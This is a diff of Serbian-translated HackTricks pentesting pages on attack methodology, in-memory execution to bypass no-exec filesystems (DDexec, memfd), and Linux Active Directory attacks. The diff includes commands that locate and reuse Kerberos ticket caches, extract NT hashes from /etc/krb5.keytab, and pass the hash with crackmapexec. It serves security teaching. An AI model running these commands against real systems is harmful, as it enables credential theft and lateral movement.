### **9 -** [**Ekstrakcija**](exfiltration.md)
|
||||||
|
|
||||||
Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **da uvedete nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
Verovatno ćete morati da **izvučete neke podatke iz žrtve** ili čak **uneste nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
||||||
|
|
||||||
### **10- Eskalacija privilegija**
|
### **10- Eskalacija privilegija**
|
||||||
|
|
||||||
#### **10.1- Lokalna Privesc**
|
#### **10.1- Lokalna Eskalacija**
|
||||||
|
|
||||||
Ako niste **root/Administrator** unutar mašine, trebali biste pronaći način da **escalirate privilegije.**\
|
Ako niste **root/Administrator** unutar mašine, trebali biste pronaći način da **escalirate privilegije.**\
|
||||||
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
Ovde možete pronaći **vodič za eskalaciju privilegija lokalno u** [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||||
|
@ -108,9 +108,9 @@ Trebalo bi da proverite i ove stranice o tome kako **Windows funkcioniše**:
|
||||||
|
|
||||||
**Ne zaboravite da proverite najbolje alate za enumeraciju Windows i Linux lokalnih putanja eskalacije privilegija:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**Ne zaboravite da proverite najbolje alate za enumeraciju Windows i Linux lokalnih putanja eskalacije privilegija:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
|
||||||
#### **10.2- Domain Privesc**
|
#### **10.2- Eskalacija privilegija na Domenu**
|
||||||
|
|
||||||
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i persistenciju na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
|
Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enumeraciju, eskalaciju privilegija i postojanje na Active Directory**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo podsekcija jedne sekcije, ovaj proces može biti **izuzetno delikatan** na Pentesting/Red Team zadatku.
|
||||||
|
|
||||||
### 11 - POST
|
### 11 - POST
|
||||||
|
|
||||||
|
@ -119,18 +119,18 @@ Ovde možete pronaći [**metodologiju koja objašnjava najčešće akcije za enu
|
||||||
Proverite da li možete pronaći više **lozinki** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
|
Proverite da li možete pronaći više **lozinki** unutar hosta ili ako imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
|
||||||
Pronađite ovde različite načine za [**dumpovanje lozinki u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
Pronađite ovde različite načine za [**dumpovanje lozinki u Windows-u**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||||
|
|
||||||
#### 11.2 - Persistencija
|
#### 11.2 - Postojanost
|
||||||
|
|
||||||
**Koristite 2 ili 3 različite vrste mehanizama persistencije kako ne biste morali ponovo da eksploatišete sistem.**\
|
**Koristite 2 ili 3 različita tipa mehanizama postojanosti kako ne biste morali ponovo da eksploatišete sistem.**\
|
||||||
**Ovde možete pronaći neke** [**trikove za persistenciju na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
**Ovde možete pronaći neke** [**trikove postojanosti na Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||||
|
|
||||||
TODO: Završiti persistenciju Post u Windows-u i Linux-u
|
TODO: Dovršiti postojanost u Windows-u i Linux-u
|
||||||
|
|
||||||
### 12 - Pivotiranje
|
### 12 - Pivotiranje
|
||||||
|
|
||||||
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža na kojima je vaša žrtva povezana.\
|
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate da **otkrijete i skenirate nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža gde je vaša žrtva povezana.\
|
||||||
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
|
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
|
||||||
Definitivno biste takođe trebali proveriti post o [metodologiji pentestovanja Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
|
Definitivno biste takođe trebali proveriti post o [metodologiji pentestinga Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
|
||||||
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
|
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
|
||||||
|
|
||||||
### VIŠE
|
### VIŠE
|
||||||
|
@ -151,15 +151,15 @@ Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti
|
||||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Trening AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Trening GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ In the following videos you can find the techniques mentioned in this page expla
|
||||||
|
|
||||||
## read-only / no-exec scenario
|
## read-only / no-exec scenario
|
||||||
|
|
||||||
Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom fajl sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro fajl sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
|
Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom datotečnog sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro datotečnim sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
|
||||||
|
|
||||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
|
@ -45,7 +45,7 @@ securityContext:
|
||||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Ipak, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
Međutim, čak i ako je datotečni sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Međutim, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
|
Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
|
||||||
|
@ -55,32 +55,32 @@ Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarni
|
||||||
|
|
||||||
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
|
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
|
||||||
|
|
||||||
Međutim, ovo nije dovoljno da izvršite vaš binarni backdoor ili druge binarne alate koje možda trebate pokrenuti.
|
Međutim, ovo nije dovoljno da izvršite svoj binarni backdoor ili druge binarne alate koje možda trebate pokrenuti.
|
||||||
|
|
||||||
## Memory Bypasses
|
## Memory Bypasses
|
||||||
|
|
||||||
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer **zaštite se ne primenjuju tamo**.
|
Ako želite da izvršite binarni fajl, ali datotečni sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer **zaštite se ne primenjuju tamo**.
|
||||||
|
|
||||||
### FD + exec syscall bypass
|
### FD + exec syscall bypass
|
||||||
|
|
||||||
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u memorijskom fajl deskriptoru (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama i zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
|
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u deskriptoru datoteke u memoriji (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao datoteku za izvršavanje**.
|
||||||
|
|
||||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom na **exec** syscall da ga pokrene.
|
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom **exec** syscall za njegovo pokretanje.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memorijski fd** za skladištenje binarnog fajla.
|
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memory fd** za čuvanje binarnog fajla.
|
||||||
|
|
||||||
Štaviše, kreiranje **običnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
|
Štaviše, kreiranje **regular fd** sa datotekom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### DDexec / EverythingExec
|
### DDexec / EverythingExec
|
||||||
|
|
||||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg vlastitog procesa** prepisivanjem njegovog **`/proc/self/mem`**.
|
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju svog procesa** prepisivanjem njegovog **`/proc/self/mem`**.
|
||||||
|
|
||||||
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** vaš vlastiti **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
|
@ -124,15 +124,15 @@ Međutim, ako kompromitovani kontejner pokreće, na primer, flask web, tada je p
|
||||||
Korišćenjem scripting jezika mogli biste **enumerisati sistem** koristeći mogućnosti jezika.
|
Korišćenjem scripting jezika mogli biste **enumerisati sistem** koristeći mogućnosti jezika.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Ako nema **`read-only/no-exec`** zaštita, mogli biste iskoristiti svoj reverz shell da **pišete u fajl sistem vaše binarne fajlove** i **izvršite** ih.
|
Ako nema **`read-only/no-exec`** zaštita mogli biste iskoristiti svoj reverz shell da **pišete u fajl sistem vaše binarne fajlove** i **izvršite** ih.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**.
|
Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste koristiti **prethodne tehnike izvršavanja u memoriji da ih zaobiđete**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Možete pronaći **primere** o tome kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Možete pronaći **primere** kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Linux Active Directory
|
# Linux Active Directory
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
Linux mašina može biti prisutna unutar Active Directory okruženja.
|
Linux mašina može biti prisutna unutar Active Directory okruženja.
|
||||||
|
@ -25,11 +23,11 @@ Linux mašina u AD može **čuvati različite CCACHE karte unutar fajlova. Ove k
|
||||||
|
|
||||||
## Enumeration
|
## Enumeration
|
||||||
|
|
||||||
### AD enumeracija iz linuxa
|
### AD enumeracija sa linux-a
|
||||||
|
|
||||||
Ako imate pristup AD-u u linuxu (ili bash-u u Windows-u), možete probati [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) da enumerišete AD.
|
Ako imate pristup AD-u u linux-u (ili bash-u u Windows-u), možete probati [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) da enumerišete AD.
|
||||||
|
|
||||||
Takođe možete proveriti sledeću stranicu da biste naučili **druge načine za enumeraciju AD-a iz linuxa**:
|
Takođe možete proveriti sledeću stranicu da biste naučili **druge načine za enumeraciju AD-a sa linux-a**:
|
||||||
|
|
||||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||||
|
@ -37,7 +35,7 @@ Takođe možete proveriti sledeću stranicu da biste naučili **druge načine za
|
||||||
|
|
||||||
### FreeIPA
|
### FreeIPA
|
||||||
|
|
||||||
FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**, uglavnom za **Unix** okruženja. Kombinuje kompletnu **LDAP direktoriju** sa MIT **Kerberos** Centrom za distribuciju ključeva za upravljanje sličnim Active Directory. Koristi Dogtag **Sistem sertifikata** za upravljanje CA i RA sertifikatima, podržava **multi-factor** autentifikaciju, uključujući pametne kartice. SSSD je integrisan za Unix procese autentifikacije. Saznajte više o tome u:
|
FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**, uglavnom za **Unix** okruženja. Kombinuje kompletnu **LDAP direktoriju** sa MIT **Kerberos** Centrom za distribuciju ključeva za upravljanje sličnim Active Directory. Koristeći Dogtag **Sistem sertifikata** za upravljanje CA i RA sertifikatima, podržava **multi-factor** autentifikaciju, uključujući pametne kartice. SSSD je integrisan za Unix procese autentifikacije. Saznajte više o tome u:
|
||||||
|
|
||||||
{% content-ref url="../freeipa-pentesting.md" %}
|
{% content-ref url="../freeipa-pentesting.md" %}
|
||||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||||
|
@ -47,7 +45,7 @@ FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**
|
||||||
|
|
||||||
### Pass The Ticket
|
### Pass The Ticket
|
||||||
|
|
||||||
Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos karte unutar linux hosta**, na sledećoj stranici možete naučiti kako da transformišete ove CCache formate karata u Kirbi (format koji treba da koristite u Windows-u) i takođe kako da izvršite PTT napad:
|
Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos karte unutar linux hosta**, na sledećoj stranici možete naučiti kako da transformišete formate ovih CCache karata u Kirbi (format koji treba da koristite u Windows-u) i takođe kako da izvršite PTT napad:
|
||||||
|
|
||||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||||
|
@ -55,9 +53,9 @@ Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos
|
||||||
|
|
||||||
### CCACHE ponovna upotreba iz /tmp
|
### CCACHE ponovna upotreba iz /tmp
|
||||||
|
|
||||||
CCACHE fajlovi su binarni formati za **čuvanje Kerberos akreditiva** koji se obično čuvaju sa 600 dozvolama u `/tmp`. Ovi fajlovi se mogu identifikovati po svom **formatu imena, `krb5cc_%{uid}`,** koji se odnosi na korisnikov UID. Za verifikaciju autentifikacione karte, **promenljiva okruženja `KRB5CCNAME`** treba da bude postavljena na putanju željenog fajla karte, omogućavajući njenu ponovnu upotrebu.
|
CCACHE fajlovi su binarni formati za **čuvanje Kerberos kredencijala** i obično se čuvaju sa 600 dozvolama u `/tmp`. Ovi fajlovi se mogu identifikovati po svom **formatu imena, `krb5cc_%{uid}`,** koji se odnosi na UID korisnika. Za verifikaciju autentifikacione karte, **promenljiva okruženja `KRB5CCNAME`** treba da bude postavljena na putanju željenog fajla karte, omogućavajući njenu ponovnu upotrebu.
|
||||||
|
|
||||||
Nabrojte trenutnu kartu koja se koristi za autentifikaciju sa `env | grep KRB5CCNAME`. Format je prenosiv i karta se može **ponovo koristiti postavljanjem promenljive okruženja** sa `export KRB5CCNAME=/tmp/ticket.ccache`. Format imena kerberos karte je `krb5cc_%{uid}` gde je uid korisnikov UID.
|
Prikazivanje trenutne karte korišćene za autentifikaciju sa `env | grep KRB5CCNAME`. Format je prenosiv i karta se može **ponovo koristiti postavljanjem promenljive okruženja** sa `export KRB5CCNAME=/tmp/ticket.ccache`. Format imena kerberos karte je `krb5cc_%{uid}` gde je uid UID korisnika.
|
||||||
```bash
|
```bash
|
||||||
# Find tickets
|
# Find tickets
|
||||||
ls /tmp/ | grep krb5cc
|
ls /tmp/ | grep krb5cc
|
||||||
|
@ -100,7 +98,7 @@ klist -k /etc/krb5.keytab
|
||||||
|
|
||||||
Ključevi servisnih naloga, koji su neophodni za usluge koje rade sa root privilegijama, sigurno su pohranjeni u **`/etc/krb5.keytab`** datotekama. Ovi ključevi, slični lozinkama za usluge, zahtevaju strogu poverljivost.
|
Ključevi servisnih naloga, koji su neophodni za usluge koje rade sa root privilegijama, sigurno su pohranjeni u **`/etc/krb5.keytab`** datotekama. Ovi ključevi, slični lozinkama za usluge, zahtevaju strogu poverljivost.
|
||||||
|
|
||||||
Da biste pregledali sadržaj keytab datoteke, može se koristiti **`klist`**. Ovaj alat je dizajniran da prikaže detalje o ključevima, uključujući **NT Hash** za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23.
|
Da biste pregledali sadržaj keytab datoteke, može se koristiti **`klist`**. Ovaj alat je dizajniran da prikaže ključne detalje, uključujući **NT Hash** za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23.
|
||||||
```bash
|
```bash
|
||||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||||
# Output includes service principal details and the NT Hash
|
# Output includes service principal details and the NT Hash
|
||||||
|
@ -119,17 +117,16 @@ Korišćenjem ekstraktovanih informacija o nalogu i hešu, mogu se uspostaviti v
|
||||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||||
```
|
```
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -27,7 +27,7 @@ Pravila se čuvaju u `rules` tabeli unutar baze podataka i sadrže sledeće kolo
|
||||||
|
|
||||||
* **id**: Jedinstveni identifikator za svako pravilo, automatski se povećava i služi kao primarni ključ.
|
* **id**: Jedinstveni identifikator za svako pravilo, automatski se povećava i služi kao primarni ključ.
|
||||||
